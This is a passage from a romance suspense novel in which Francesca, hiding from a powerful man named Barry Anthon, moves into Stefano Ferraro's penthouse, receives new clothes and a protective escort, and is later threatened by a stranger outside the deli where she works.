"I've never cooked," he admitted. "Not anything that wasn't packaged, and that doesn't taste so good."
"Growing up, you didn't learn? Did you and your brothers think it was woman's work? Some of the best chefs in the world are men." She was a little disappointed that he might think that way. It didn't surprise her, though.
"My brothers and my sister were too busy learning other things that were deemed necessary by the family. We didn't have much of a childhood, and we certainly weren't encouraged to learn how to cook. Although, saying that, Taviano is an excellent chef, but he learned in Europe, certainly not from our mother."
"Other things?" Now she was curious. She couldn't tell from his strictly neutral tone whether or not he was altogether happy with his childhood.
He poured chocolate from a pan on the stove, added whipped cream from a can and put the steaming mug of chocolate in front of her. "We began training from the time we were toddlers. Languages, arts, martial arts, boxing, wrestling, jujitsu, all sorts of weapons, horseback riding, eventually driving skills and of course we were expected to excel in every subject in the private schools we attended. It was top of the class or in trouble."
She didn't know what to say to that. His revelation was unexpected. It didn't sound like much of a childhood to her, and she had to once again reassess what she thought. He might have all the money in the world, but her childhood had been just that—a childhood.
"You thought we spent all of our time playing polo and racing cars?"
"Chasing women," she corrected, trying to make a joke.
His gaze jumped to her face. She took a breath. Let it out. She had to ask. Her stomach muscles were tied up in knots and she knew she was a heartbeat away from panic. "Did you call him? Barry Anthon?" Her hands tightened around the warmth of the mug, lifting it, but not taking a drink. "Did you call him and tell him I was here?"
His gaze drifted over her face. "You don't think much of me, do you?"
She stilled; her heart jerked hard. She put the mug of chocolate down on the bar and forced herself to meet his eyes. "That's not true."
"Yes it is. You think I'm like Barry Anthon. That I have too much money and I don't know what hard work is. You didn't want to take my coat because of my money. You didn't want to allow me to help you at all."
His handsome features were stony, expressionless, his blue eyes glittering at her, but it was his tone that caught at her more than anything else. There was just the slightest hint of hurt there. If they hadn't been so weirdly connected, she knew she would have missed it, but the awareness of every little nuance was there, because she was so conscious of him.
"You're nothing at all like Barry Anthon," she said. "Stefano, if I thought for one moment you were like him, I wouldn't be here in this apartment with you. I'll admit to some prejudice when I first met you, but that changed very quickly."
"You don't relax around me."
"Well, that's because you're . . ." She trailed off with a little wave of her hand, color creeping into her face.
He tilted his head to one side, a slow smile softening the hard edge of his mouth, giving him that sexy tilt that sent heat scattering through her veins.
"I'm what?"
She pressed her lips together hard to keep from blurting out the truth. That he was gorgeous. Sexy. Dangerous. Hot. All those things. Everything she wasn't. He was so far out of her league it wasn't funny. He was nothing like Barry Anthon, but he ran in the same circles.
"It just stands to reason that you would want information about my situation, and as you know Barry, what better way to acquire it than by speaking to him personally?" It was prudent to change the subject.
"I definitely want the information about what happened, but you're right here with me. Why wouldn't I just ask you myself?"
She ducked her head. "Maybe you think I'd lie to you."
"Would you?"
She shook her head. "I might be tempted to leave things out. Or just refuse to tell you. It's all pretty far-fetched, and no one other than Joanna has believed me. They believe Barry."
"Barry wouldn't know the truth if it hit him in the face. He's been making shit up since the day he was born. He pays people to believe him, but that doesn't make it true, Francesca."
She lifted her chin, trying not to feel hope. "You should know, aside from being arrested for damaging property, I've also been in lockup for seventy-two hours in a hospital." She didn't take her eyes from his, waiting for condemnation. Everyone else thought she'd lost her mind, so why not him? Still, deep inside, where that strange connection was, she didn't think he would believe the worst said about her, either.
He kept his gaze steady on hers. Unflinching. Expressionless. Her heart pounded. She clutched the chocolate mug so hard her knuckles turned white. His gaze dropped to her hands and he reached, gently prying her fingers from the mug. His thumb slid over her knuckles.
"When Barry does something, he's thorough, but he's repetitive. Once something works for him, he keeps using it."
"You're saying he's done this before?" Hope blossomed.
"What do you have on him?"
Her breath left her lungs in a rush. "Why do you think I've got something on him?"
"Because you're not dead. He would have killed you if he could have. If we look into the bank account of the man convicted of your sister's murder, there will be a lot of money his family inherits when he dies. This isn't the first time something like this has happened around Barry Anthon. Obviously, if you saw him at the murder scene and he's worked so hard to discredit you, he's afraid of you. He's got money and power. He's got cops and politicians in his pocket. He wouldn't be afraid unless whatever you have could ruin him and he can't risk killing you until he gets it back."
His thumb rubbed gently at her knuckles. It felt—exquisite. Each time the pad of his thumb slid between her knuckles, she felt his touch melt through bare skin and sink into her bloodstream. She shivered. She couldn't help it. Her body was tuned to his. Came alive for his. It didn't make sense, but then chemistry never did.
She took a breath. "I don't know you, Stefano."
"You know me."
He brought her hand to his mouth, his lips moving over her knuckles in the way his thumb had, only this was so much better. Way more intense. She felt an answer coiling hot at the junction of her legs.
"You don't have to tell me . . . yet. Drink your chocolate." He let go of her hand.
She curled her fingers around the mug again because when she wasn't touching him she felt cold, and it was such a relief that he believed her—that he knew the real Barry. Deceitful, _murderous_ Barry.
"He's done this before? Destroying property and making it look like someone else did it?" _Murder?_ She couldn't bring herself to ask that.
"All of it, right down to the jail time and the hospital," Stefano confirmed. "He likes to brag that no one can cross him. He threatened a couple of drivers. They ended up quitting. I didn't get the story until a couple of years later, but they wouldn't drive for anyone because they were so afraid of him. It ended their careers."
"Has he ever threatened you?" Francesca asked cautiously.
_"Bambina."_
One word. That said it all. His tone. Amused. Arrogant. Completely confident. She shivered again, but this time because she could see the danger in him. He wasn't a man other men crossed. If Barry was too afraid to threaten Stefano, what did that make Stefano? The thought flitted through her mind unbidden.
She took a sip of chocolate to buy herself time. It was delicious. There was no way it was from a package. "You made this."
Amusement crept into the deep blue of his eyes. "Yeah. I did."
"How did you learn to make such great chocolate?"
"I have a younger sister. She often had a difficult time sleeping so she'd come into my room, wake me up and I'd make her chocolate."
She thought it strange that his sister woke him up instead of her parents, but he didn't enlighten her further so she took another sip of the delicious brew.
"I've been thinking about your living arrangements. I've come up with a great solution. John Balboni and his wife, Suzette, own the hardware store. They've wanted to travel for a while, but she's nervous about leaving their home unattended and they got into a little trouble financially a couple of years ago. They have a little guest unit. I think it would be mutually beneficial if you could live in that unit. She'd be happy, they could use the money and she would feel they could comfortably leave home."
It sounded perfect but . . . there was Barry. If he found out where she was staying, he would come after her. He'd destroy any property. The horrible apartment building where she'd lived didn't much matter, but the Balbonis sounded like a nice couple who couldn't afford to have their guest unit destroyed.
He nodded as if reading her mind. "You see the problem. Barry is probably searching for you right now. How did you pay for your bus ticket?"
"When I got out of the hospital, I knew I had to get away from Barry's influence, so I stayed on the street and in shelters. I knew he had someone watching me. Street people stick together and they helped me evade the watcher. Joanna had sent me money and I used it to buy a bus ticket. I got rid of all my clothes, selling them, or trading in the thrift store so they couldn't recognize anything I wore. I boarded the bus and came here."
"But you know he'll find you." He made it a statement.
Francesca nodded. "Eventually. I was hoping I had the chance to get back on my feet before he did. He left me too afraid and too exhausted."
"So we'll have to change plans. This hotel is secure. You'll have to stay here. With me. He won't get his crew past security and there's no way he can destroy where you're staying."
Francesca held her breath. Her eyes met his. Temptation was a man who was so beautiful he looked like sin. "Stefano . . . Thank you, but I can't accept."
"I wasn't asking, _bella_. It's the only solution. It keeps you and everyone else safe. Besides. I've wanted to take on Barry Anthon for a long time. You'll stay here and we'll put a plan together to draw him out. Don't worry. I'll take care of you. He won't get close to you. With you under my protection, he's going to have to change his game. He's comfortable with that game, and he's going to start making mistakes."
"But I can't let you . . ."
"Did you not fucking hear me? You're staying here. With me."
He was back to swearing, impatience in his voice. She let her breath out. She wasn't as afraid of Barry as she was of staying with Stefano. She might not just lose her body to him; she would definitely lose her heart. Still, even with knowing that, she couldn't resist temptation. Or safety. Or that bed. She nodded slowly.
# CHAPTER NINE
Francesca stomped out of her bedroom, hair still damp, dressed in a soft skirt that fell to her ankles and a camisole that emphasized her generous breasts and narrow rib cage. She'd never worn anything like it in her life, but she'd definitely seen both items before—she'd admired them in the window of Lucia's Treasures. She had new underwear, a drawer full. Every pair of panties and each bra was exquisite—again, something so incredibly nice that she'd never worn before. She loved them, but they didn't belong to her.
She needed clothes because she had to go to work, but this was too much. How had Stefano managed to acquire clothes at three or four in the morning? And it had to have been after three or four. And how had they gotten into her room?
"These aren't mine," she greeted him, trying not to stare. Of course he looked gorgeous, already dressed in a pin-striped three-piece suit, his dark hair gleaming under the lights at the breakfast table. He glanced up from reading what clearly had to be some kind of report, his blue eyes meeting hers. Her heart stuttered in her chest and her reprimand died in her throat. No one should look that good in the morning.
Stefano smiled at her, his gaze drifting over her. "You look beautiful. Good morning. I ordered breakfast. I wasn't certain what you'd like so I took a chance on eggs and potatoes. They sent up fresh squeezed orange juice and coffee. There's tea if you prefer."
"Stefano, where are my clothes?"
He stood and reached for her. His long fingers settled around her elbow and he drew her to the chair opposite to where he'd been sitting. She sank into it more because her knees were suddenly weak than because she wanted to sit. She actually wanted to walk around, to continue feeling the swish of the soft material on her legs.
Once she was seated, he slipped into his chair opposite her and smiled—one of his amazing hot smiles, which sent her temperature soaring. She had to remind herself to stay on track because he tended to fry her brain.
"Sadly, there was a little accident with your clothes. Ricco said they didn't survive, so of course, since they were entrusted to our care, the family provided you with new ones. By the time you get off work, we will have jeans and tees for more casual wear. There wasn't enough time last night."
She took a sip of coffee because she desperately needed the caffeine to deal with his obvious bull. "My clothes met with an accident?"
He nodded. "Sadly."
She narrowed her eyes and gave him her best scowl. "Did your coat manage to make it back intact?"
He nodded. Sober. His handsome features suspiciously innocent. "Yes. I was relieved. My brother saved my coat, but couldn't quite grab your duffel bag. It floated right down the river."
"Oh. My. God. You are so full of it, Stefano." Francesca took a bite of scrambled eggs and shook her head.
"I have no idea what you mean. I'm merely repeating what Ricco told me. I can't imagine that he would lie."
She had to work at not laughing. "Right."
He lifted an eyebrow at her. "I trust you slept better last night after the hot chocolate. Emmanuelle swears it always works for her."
She nodded. "I did. But we're not finished with the clothes discussion. How did you manage to get everything in the middle of the night?"
He shrugged. "Amo Fausti, the owner of the boutique, is a good friend of mine. He opened the store immediately when I told him we'd accidentally lost your clothes."
"In the middle of the night? You just called him and he opened the store?" Coffee seemed more important than food. She clearly needed to stay sharp around him. He was totally unapologetic.
"He's a friend. You've already become one of his favorites, so he was happy to do so."
That pleased her because Lucia and Amo were definitely favorites of hers. "And the clothes got into my room, how?"
Again he shrugged. "I knew you would need them in the morning. I put them away myself."
While she was sleeping. She sighed. "As much as I love the clothes, I can't accept them."
He smirked. She would have resorted to violence but even his smirk was sexy and instead she just stared at him, astonished that a man could look as good as he did. It took a few moments for the Stefano spell to ease. She licked her lips and downed the orange juice. It was superb. Like his penthouse. Like the clothes. Like him.
"I suppose you could just wear my shirt to work. I like the idea of you wearing my shirt all day, but Pietro might object. On the other hand, you look . . . sexy in it, and that might draw in even more customers when word gets out. Although, if I'm being strictly honest, I'm not certain I want other men seeing you in just my shirt."
"I can see that sparring with you requires at least two cups of coffee."
"We're responsible for the loss of your clothes. Of course we'd replace them. Change the subject."
"Just like that."
_"Bambina."_
The way he said that one little word, as if it was an endearment, but reprimanded her, melted her insides. It was the tone of his voice. She liked that he called her _baby_ or _sweetheart_ and sometimes even _beautiful_. The way he focused so completely on her made her feel special. The appreciation in his eyes made her feel beautiful. She knew she wasn't going to win the argument. Her clothes were gone and he'd bought her new ones—new, exquisite clothing that she never could have afforded on her own. Never. Not in her lifetime.
"And the makeup and other things in my bathroom?"
"Everything was lost." He shrugged, dismissing the subject. "I'll take you to work this morning. If you leave the store, text me."
"Stefano, why in the world would I do that?" As if she could. She didn't have a cell phone. She'd already told him that. It wasn't like she had the money to rush out and get one, let alone pay for a plan.
His eyes darkened to a stormy blue. Pinned her. The air in the room thickened with heat. His heat. "Because I asked you to."
She supposed that was a good enough answer when she was sitting in his penthouse, eating his food, wearing clothes he bought and under his protection. "I can't." When his head jerked up and the room got even scarier, she held up her hand. "I said 'can't', not _won't_. Remember? I don't own a cell phone. I told you I didn't have one." She could see him struggle for control.
"That was before I knew about Barry." He leaned toward her. "Francesca. You have an enemy like Barry Anthon and you don't have a cell phone to call 911 if he catches up with you?" His voice was pitched low. Velvet soft. Totally menacing. "It should be your first priority."
Her heart pounded. "I couldn't afford one, let alone pay for a plan. In any case, the police don't believe me, Stefano. No one does. If he catches up with me . . ."
"I'll be standing in front of you. I told you, I'm coming up with a plan. Just give me a few days. In the meantime, I want to know that you're safe." He glanced at his watch. "I've got shit to do this morning, but Emilio will be watching over you. I'll send a cell to the store. Use it. My number will be programmed in, and I want to know where you are at all times. I'm not being controlling. I need to know you're safe."
"You're controlling," she corrected.
"True," he agreed, sounding completely unremorseful. "But I still need to know you're safe."
There wasn't any sense in arguing. Stefano was a law unto himself, and he would get her the phone and Emilio would be waiting right outside the store no matter what she said. She'd wanted his protection and now that she had it, she couldn't exactly throw a tantrum over how he chose to give it to her.
"Okay."
"Okay?"
She smiled at him. "I see no reason to argue when you're just going to get your way. The food is delicious. I didn't realize hotel food could be really good."
"Our hotel provides the best of everything. Our chefs are amazing. The pastry chefs are as well. Tonight, after work, you'll have to sample some of the desserts."
"I can see if I stick around here for too long I'll end up gaining weight. Pizza, pastries and amazing food."
"You could use a few pounds. I don't like that you weren't eating. Dina told me you didn't have anything to eat for a couple of days."
"Dina? You talked to Dina?"
"Why wouldn't I? She lives in our neighborhood. She's part of us. She prefers to live on the street so we make her as comfortable as possible. She has a small wooden lean-to we built for her in the alley behind the hardware store, which she can go into at night. When the nights are too cold, she comes to the main house and sleeps in the garage. There's radiant heating through the floor. She has a bathroom there and warm blankets. It's the most she'll let us do for her, other than new warm boots once a year and sometimes clothing. I don't know what happened to her coat. She had a nice one."
She leaned her chin on the heel of her hand and tried not to devour him with her eyes. She loved that he took care of the homeless woman in their neighborhood. She'd _so_ misjudged him. "That's amazing."
"Not really. She's a human being with a few problems. Her entire family was killed in a car accident. Her husband, three boys and a daughter. She was the only survivor. No relatives. She just gave up. We've tried to get her help. She used to teach school. High school. She had all kinds of awards and her students loved her. After the accident she turned to alcohol to dull the pain. She left her home, just walked out of her house one day and drifted. She ended up here."
There was an underlying sadness that fascinated her in his tone. He genuinely cared about Dina, she realized, and that took her breath away. Stefano Ferraro was many things, and most of them were amazing, sexy and wonderful. She liked him. He might be bossy and arrogant and controlling, but that was only one small part of who he was.
"How do you know all that? Dina barely spoke to me."
"I prefer to know everything there is to know about those in our neighborhood. Especially a woman who is living alone on the streets. It's freezing here at times and I certainly didn't want anything to happen to her. It took some persuading for her to use the garage, but she knows where the key is and now she'll go there. We see to it that she's fed, but we have to be careful how we do that. She doesn't like too much attention."
She noticed he used the term _we_ a lot. She presumed he referred to his family. "You're very close to your family, aren't you?"
"My siblings and cousins, yes. I suppose my aunts and uncles as well."
He didn't name his parents; in fact, he'd been very specific about those he was close to and he'd left them out. She wanted to ask but decided she'd better not.
"Were you close to your sister?" His voice was pitched low. Gentle.
"Cella? Yes. I adored her. She raised me after our parents died. She didn't have to—she was very young herself—but she insisted it wasn't a burden."
"Of course it wasn't. There's no way your sister saw you as a burden." His voice was soft. Persuasive. But certain. As if because family wasn't a burden to him he couldn't conceive that it would be to anyone else.
He mesmerized her. Everything about him. She forced herself to look away and finish her coffee. She'd managed to eat a little of the eggs and potatoes, but she'd gone without eating too often to have much room in her stomach to eat large portions.
"After work, I'll show you around the penthouse. It has quite a few rooms. I have a training room for martial arts, weapons and boxing. We also have a workout room with weights and various machines such as treadmills. You're welcome to use either one, but we need to finish up if we're going to get you to work on time."
"I'm finished."
"You didn't eat much."
She didn't reply. She was learning from his tactics. He didn't like to engage in arguments; well, two could play that game. She smiled at him and rose, placing her folded napkin beside her plate. "Breakfast was wonderful, thank you. I'll go brush my teeth and be right out. Thanks for the toothbrush. It's very much appreciated."
He rose with her and watched her go back to her bedroom. She knew that he did because she felt his gaze burning into her. He was so . . . potent. Virile. Masculine. He took up the entire room with his broad shoulders and his presence. She found she couldn't take a breath without drawing him into her lungs.
Francesca reminded herself that Stefano Ferraro was _way_ out of her league in every way. He might be interested in her, she couldn't deny the chemistry was off the charts, but their union would never last. He'd grow bored with her very fast. He was a white knight riding to the rescue, and if she didn't need that anymore he would lose interest.
When she met him in the foyer, Stefano was wearing his coat. She had been certain he would have had it cleaned first. He stood with another long cashmere coat in his hands, waiting for her.
"You bought that as well?"
"Come on, _bella_. I told you, I can't be late for this meeting." He stepped close behind her, dipping the coat so she could slide her arm in one sleeve and then the other. He turned her around the moment the coat settled on her shoulders and slid the buttons into place.
"I can do that."
"I know. I like to do it." He bent his head and brushed a kiss over her forehead. "The code for the private elevator allowing you into the penthouse will be in the phone I'm having sent to you. If you have a problem, text me right away. I'm already on the cell for you. You should have it within the hour."
There was no point in protesting. She was being steamrolled, but she'd asked for it. Stefano was a force. One just got swept along when he decided something. They stepped onto the elevator together, Stefano crowding her closer than she believed necessary, although maybe it was the confined space that made her so acutely aware of him.
Her heart beat too hard. Her breasts ached, nipples pushing at the soft lace of her bra. Her sex pulsed, a persistent throb beating in tune to her racing heart. His long fingers curved around the nape of her neck, his thumb sweeping along her jaw.
"You're so beautiful, Francesca," he said softly. "And chemistry is a fuckin' bitch. I promised myself I'd go slow with you, not scare you to death, but apparently that's not happening." He bent his head and took her mouth.
She shouldn't have done it. She should have more restraint, but she couldn't help herself; the moment his mouth brushed against hers, she parted her lips for him. Allowed his tongue to sweep inside and take her over. He kissed like he did everything else. With total confidence, with expertise. He started gentle and ended rough. The kiss was shocking in its intensity.
She felt possessed, taken, overwhelmed with sheer urgent need. Every cell in her body responded. She swore he poured molten lava down her throat and into her veins, where it moved through her, burning his name into her along the way to pool low and hot between her legs.
She'd never been kissed like that. She didn't know anyone _could_ kiss like that. Every nerve ending in her body sprang to life, on full alert. She couldn't stop her hands from running up his chest to circle his neck, or her fingers from finding his hair. She gave herself to him, holding nothing back. Her mouth moved under his, following his lead, kissing him back while her body pressed tightly against his.
The elevator _pinged_ and he turned her, so his body hid her from view of those in the lobby. He lifted his head reluctantly, his blue eyes moving over her face. "You good, _dolce cuore_? Do you need a minute?" He kept his hands on her hips, holding her so she wouldn't fall flat on her face.
She touched her mouth with trembling fingers. "I don't know. You should be outlawed."
He smiled down at her, the smile slow and sexy, gorgeous as it lit his eyes. "You're good." He made it a statement. "Henry brought my car around. It's right in front." He took her hand and she went with him out of the elevator.
Instantly the atmosphere in the lobby changed. Heads turned. A few people whispered, but most were silent. Watching him. Watching them. She ducked her head and moved closer to him. Instantly, he swept her beneath his shoulder, locking her to his side protectively.
He didn't look left or right, but she knew he was aware of everything and everyone in the hotel lobby. Nothing escaped his notice. She knew why she felt so safe with him. He commanded everything and everyone around him with every step he took. He filled an entire lobby with his presence. No one would dare try to harm her when she was in his keeping. It felt good to actually feel safe after so long.
He handed her into the car, giving her the illusion of being a princess. She snapped the seat belt around her, admiring the interior of the Aston Martin. Francesca waited until Stefano was behind the wheel and the car was gliding down the street, faster than she thought he should have driven it. Evidently, Stefano and his family had a lot of cars for their use.
"I wanted to tell you thank you."
He glanced at her. Raised an eyebrow. She twisted her fingers together. It didn't matter that he looked like the hottest man on earth and maybe the richest, he deserved to know. "For rescuing me from that apartment and gathering up what would be horribly embarrassing recordings. And for giving me a place to stay that made me feel safe. I haven't felt that way in a very long time."
He reached out and caught her hand, curling his long fingers around it. "Then I'm grateful I was the one to give that to you." He frowned a little and brought her hand to his thigh, pinning it there. "Although you still had a nightmare."
"I have them all the time, but when I did, you made me hot chocolate and spent time talking to me, making me feel better. And you somehow—I still don't know how—managed to get me a closet full of beautiful clothes that actually fit. And the shoes are . . . awesome." She lifted one foot to admire the boot she was wearing.
She waited, holding her breath, watching his face carefully. His smile was slow in coming, but when it did, it was worth the wait. He brushed his thumb over her knuckles once and a million butterflies took wing in her stomach.
"We're here, _bambina_ ," he said as he parked the car. "Do you have money for lunch?"
"Pietro allows me to eat at the deli. I'm not going hungry, Stefano, but thanks for asking." She was embarrassed that he felt he had to ask, but happy that it mattered to him. After hearing him talk about Dina in such a caring tone, she knew every single person in his neighborhood mattered to him.
Francesca was shocked when Stefano slid out of the car, walked around the hood and opened the door for her. He held out his hand and she had no choice but to allow his fingers to close around her hand, or make a scene. She was acutely aware of people stopping on the sidewalks to stare. Store owners stepped to the windows to peer out. She found herself blushing for no reason. It wasn't as if she was _living_ living with him. She was staying at his penthouse, not sleeping in his bed. She knew if people thought that, they'd think she was after his money.
"I thought you had somewhere to go," she murmured, trying not to look at him.
He kept possession of her hand as he escorted her into Masci's. To her surprise, Pietro was behind the counter, pacing back and forth. He spun around when they walked through the door, his expression wary.
"Mr. Ferraro."
"It's Stefano, Pietro," Stefano said in a low voice.
He shouldn't have sounded menacing, but he did. The moment they entered the deli, Francesca knew something was wrong. Joanna sat at one of the tables. Her eyes were red-rimmed and her face splotchy, evidence that she'd been crying for some time. Francesca made a move toward her, but Stefano's fingers tightened around hers. He tugged and she found herself up against his body, her front to his side, his arm a bar, locking her in place.
"There was some unpleasantness regarding Francesca's place of living last night. She was in danger. I am not happy about that. I left her in your hands, Joanna." He glanced at her over his shoulder, but then his gaze came back to rest on her uncle. "Joanna knew where she was staying. I imagine you did not." He made it a statement but waited for Pietro to contradict him.
Pietro glared at Joanna and then shook his head adamantly. Joanna sniffed and then stifled a sob.
Francesca put one palm against Stefano's abs on the inside of his open coat and shoved. Hard. Nothing happened. He didn't budge, nor did he look down at her. "Stefano . . ."
He glared down at her. "Enough. This is between Pietro, Joanna and me." Once again he looked at her boss. "She's staying with me in the penthouse, but while she is working Emilio or Enzo will be close. I want her _safe_ , Pietro." His voice dropped an octave. "Do you understand what I mean by 'safe'?"
Pietro nodded.
"At some point in the future I expect you'll receive a visit from a couple of men who will tell you all sorts of tales about Francesca. When you don't fire her, and you won't, they will return and threaten you. The moment these men contact you, no matter what they say, I expect you to immediately, and by 'immediately' I mean that instant, report to me. Personally, Pietro. Have I made myself clear?"
Pietro nodded so hard and so much that Francesca feared his neck would break.
"Good." Stefano dropped the iron bar of his arm, but turned his head and brushed another kiss along her temple. "Text me, Francesca. I won't be happy if you forget."
"We all endeavor to make you happy," she murmured softly, and smiled innocently up at him.
He shook his head, his blue eyes glittering with a promise of retaliation, and her stomach did a slow roll in anticipation. He turned his head toward Joanna. "I trust we will see you at the club Friday night, Joanna. Emmanuelle said you'd be there."
Joanna nodded. "I'm so sorry, Stefano."
He studied her pale, splotchy face. "You fucked up, Joanna. You also apologized for it and it's over. We're good."
Instantly a smile broke out, lighting Joanna's face. Francesca wasn't certain what she'd done to apologize for, but evidently when Stefano said it was over, Joanna must have known him well enough to believe whatever was between them was gone. Her smile said it all.
Stefano caught Francesca under the chin and turned her face to his. "I'll pick you up after work. If not me, one of my brothers or my sister or a cousin."
"I can walk."
Swift impatience crossed his face. His eyes darkened. "Don't piss me off, Francesca. Someone will be here."
She gave an exaggerated sigh. "Can you please try to tone down the bossy?"
His smile was slow in coming, but when it did, her stomach did a slow roll. "I'll try, just for you, but I wouldn't count on it, _dolce cuore_." He brushed his mouth over hers. A brief contact, but so hot, embers found their way to her belly. "Later, _bella_. Be good."
Stefano was gone, striding from the store with his fluid, easy way, which made him look like a cross between a fighter and a dancer. He flowed over the ground, his long coat billowing around his legs as he made his way to the car. Francesca watched as those on the sidewalk stopped to look at him or stepped aside to make room for him. He didn't ever have to pause. The crowd parted like the Red Sea for him. He waved to a couple of people, but he didn't stop. He slid into his car and even traffic seemed to obey, allowing him to pull in immediately.
Francesca turned to Pietro. "What was that all about? You aren't responsible for me, no matter what Stefano says. Seriously, Mr. Masci, I'm just grateful that you gave me this job."
"No, no, Francesca. You're a good worker. The best. I have no problem with you. Stefano Ferraro asked a favor of me, and I said I would do it for him and I let him down. I won't again."
She bit her lip, studying his face. "I don't want you to think you're in any way responsible for me. I'm a grown woman."
"No, no, Francesca, you don't understand what a great honor and privilege it is for one of the Ferraros to ask a favor of me. Since you've been working for me, they drop by, all of them, cousins, siblings, all of them. In my store. Daily. I've always done a good business, but it is up over 100 percent since you began and that's only a couple of days. It will grow even more."
Francesca wasn't certain what to say to that. She glanced over her shoulder at Joanna. "Let me put my coat away, hon, and I'll be right out. I've got a few minutes before I have to clock in and we can talk." She wanted to know what had Joanna so upset and Stefano declaring it was over the moment Joanna apologized to him.
As she hung up her coat, she glanced at herself in the mirror. Her lips still looked a little swollen from the very hot, very hard and aggressive kiss. She touched her mouth with trembling fingers. She'd almost gone up in flames, just spontaneously combusted right there in the elevator.
She didn't look the same in her first ever designer clothes and even more fabulous boots. She shouldn't be so happy over the shoes, but never in her life had she been able to afford such luxury. She _loved_ them. The way they fit. The feel of the material of her skirt. Everything. It was impossible not to and she didn't bother trying.
"Don't get used to it, Francesca," she murmured aloud to herself.
Joanna had a cup of coffee waiting for her, and Francesca sank down in the chair beside her. "Honey, you've been crying. What's wrong?"
Joanna rubbed her temples. "I've been crying so much I gave myself a headache. I want to apologize to you, too, Francesca. I never should have told you about those apartments, let alone allowed you to live there."
The breath left Francesca's lungs in a long rush and deep inside everything stilled. "This crying jag is about me living in those apartments? You apologized to Stefano because he was angry with you over that?"
"Of course he was angry. He had every right to be angry with me. I'm angry with myself. Pietro is angry with me, too."
"How did you find out about it when it just happened?" Francesca asked, keeping her voice low and controlled. She pushed the coffee mug away from her with the tips of her fingers.
"Emilio, of course. He and Vittorio came to see me last night. They were both understandably . . . upset. They told me about that horrible man and what he did to women in his building." Joanna's eyes filled with tears all over again. "After everything you've been through, it's awful to think of you being exposed to that."
"Joanna, they had no right waking you up in the middle of the night and telling you all that," Francesca said carefully. "You've been so kind to me. Without you, I'd still be on the street and in serious trouble. I appreciate every single thing you've done for me. This job, the money to get here. Just sticking with me, being my friend when so many ugly things have been said about me. The apartment isn't your fault. I chose to live there against your advice. You have no blame in what happened, and the Ferraros certainly had no right to involve you." Stefano was going to have to answer to her over that. Making poor Joanna cry and feel so much guilt that she apologized was just plain out of line.
"No. I'm your friend, Francesca. I knew you shouldn't stay there. There were rumors about the owner. I knew he was a sleaze. Every woman within a mile or two has heard he's been brought up on rape charges repeatedly and then the charges would be dropped." She looked around the empty store. They weren't open for another half an hour, but she still lowered her voice. "He's connected to the Saldi family. The Saldis are Sicilian and they go way back. They're reputed to be very violent, and he's related through marriage. His aunt married one of the Saldis. I've heard she's as bloodthirsty as they are, and the family protects him."
Francesca took a deep breath. Joanna had known about the owner and hadn't confided any of the information to her, only that it wasn't a good place to stay and bad things happened there. Francesca had lived on the street for a short while. She knew bad things, but she associated most of them with drugs. It hadn't occurred to her that the owner of the building had raped women. Still, to be fair, had she known, she might have stayed there anyway rather than risk the street while she worked to find the money to get a decent place.
"I should have told you," Joanna said. "If I had told you, maybe you would have stayed with me until you got on your feet."
Francesca had to concede that she might have, but she wouldn't make Joanna feel any guiltier than she already did by admitting it aloud. She shrugged. "It's over now. I'm staying with Stefano . . ." Joanna gasped and a huge smile brightened her face. "In his _guest_ room, you crazy woman."
"How far from his bedroom is the guest room?" Joanna asked. "Because seriously, you might consider sleepwalking."
"I don't want to be one of ten thousand women who have been in his bed. I read all the magazines you gave me, and he's a hound dog. He was with a different woman in every picture at every event." Just admitting the truth out loud made her stomach churn.
"That's the point, Francesca. It was always a different one and no one ever went to his penthouse. Not ever. Believe me, like all the other women around here, I've been on Ferraro watch since I was thirteen. Stefano has never seriously dated anyone. If he was sleeping with them, he didn't do it in his own home."
"Oh, he definitely had sex with them," Francesca confirmed. "Because his kisses need to be outlawed. I didn't think anyone could kiss like that."
Joanna's eyes got wide and her mouth formed a perfect round _O_. "He _kissed_ you? Oh. My. God. This is so cool, Francesca. My best friend with Stefano Ferraro."
"I am not _with_ him. He's doing what he always does, taking care of everyone in his neighborhood. He's the white knight and I'm the damsel in distress. When I'm all fixed up, he'll move on."
Joanna burst out laughing. "You tell yourself that, girlfriend, if it makes you feel better. The rest of us know the truth." She glanced at her watch. "I have an hour to make myself presentable and go to work."
"And I'd better get moving, too, before your uncle fires me."
"There's zero chance of that happening," Joanna assured her and leapt up. She gave Francesca a quick hug and then blew kisses to her uncle before rushing out of the store.
Francesca put an apron over her clothes, for the first time worried about getting anything on them. She helped Pietro put fresh food in the refrigerated cases. She could see the crowd, already beginning to line up on the sidewalk, waiting for her boss to open the doors. The number of people coming to the store definitely seemed to grow from one day to the next over the days she'd worked there. She was happy for Pietro, but it also made her nervous now that she knew part of the reason for the booming business was her association with the Ferraro family.
She spotted both Emilio and Enzo in the crowd. Emilio leaned one hip lazily against the wall, while he flirted with a young woman who kept tossing her blond hair from one side to another and then winding it around her finger. Emilio had angled his body so that he could watch the street and yet keep an eye on Francesca. He winked at her as he continued to talk to the blonde. Francesca burst out laughing. She was becoming very fond of Emilio. He might be flirting, but his attention wasn't centered on the woman—he was totally alert to everything around him.
Enzo was in line, but standing at an angle that kept changing. He didn't look into the shop, but was studying the street, the buildings across the street and the crowd around him. She realized immediately that between the two men, the street, buildings and sidewalk were covered all the time. She found herself impressed with them because clearly no one else seemed to be aware of what they were doing.
A sudden chill ran down her spine and she straightened from where she'd been arranging inside the cases the special Italian meats imported from various regions in Italy. A sharp prickle of awareness had her gaze sliding away from Emilio and Enzo to search the crowd. She'd had feelings like this before and they were always dead-on, and never boded well.
Her mouth went dry. Surely Barry Anthon hadn't already found her. She hadn't even gotten established. There was no way to build a reputation enough that he couldn't tear it down. She took a deep, calming breath and forced herself to look through the crowd. Her gaze slid through the sea of faces until it rested on a man staring straight at her.
He wore aviator-type sunglasses and had a ball cap pulled low over his eyes. His jacket was old and stained and very rumpled, but bulky so it was nearly impossible to tell his weight. He wasn't six foot, because Enzo was close to him and she knew Enzo was at least that tall and the man was shorter. He looked vaguely familiar and she tried to place him. She'd seen him somewhere, but from a distance, just like now. He stared right at her, his mouth drawn into a thin frown of dislike. When he saw her staring back, he drew a line across his throat. He did it so fast and then turned and walked away, hands in his pockets, shoulders slumped, head down, that she almost wasn't certain he'd really made the gesture. He walked rapidly and disappeared from her sight within moments.
Francesca stared after him, her heart beating fast, lungs seizing. Barry had to have sent him with that message. They'd already found her. She was going to have to decide whether to run or stay. She had no money and nowhere to go if she ran. If she stayed, she would be putting her friends in jeopardy. She stared after the man for a long time, long enough that Pietro had opened the doors and people were already crowding in, forcing her to go on automatic pilot and work.
# CHAPTER TEN
